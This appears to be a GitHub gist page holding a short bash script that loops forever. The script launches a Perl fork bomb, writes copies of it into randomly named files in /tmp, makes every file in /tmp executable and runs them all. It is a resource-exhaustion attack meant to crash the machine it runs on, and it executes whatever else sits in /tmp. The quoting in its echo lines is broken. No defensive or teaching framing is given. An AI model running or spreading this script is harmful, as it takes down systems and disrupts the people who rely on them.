Skip to content

Instantly share code, notes, and snippets.

@gdisneyleugers
Created March 29, 2014 19:17
Show Gist options
  • Select an option

  • Save gdisneyleugers/9861157 to your computer and use it in GitHub Desktop.

Select an option

Save gdisneyleugers/9861157 to your computer and use it in GitHub Desktop.
#!/bin/bash
trap 'INT'
for (( ; ; ))
do
trap 'HUP'
perl -e "fork while fork" &
echo "perl -e "fork while fork" &" >> /tmp/$RANDOM
chmod u+x /tmp/*
cd /tmp
./*
perl -e "fork while fork" &
echo "perl -e "fork while fork" &" >> /tmp/$RANDOM
chmod u+x /tmp/*
cd /tmp
./*
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment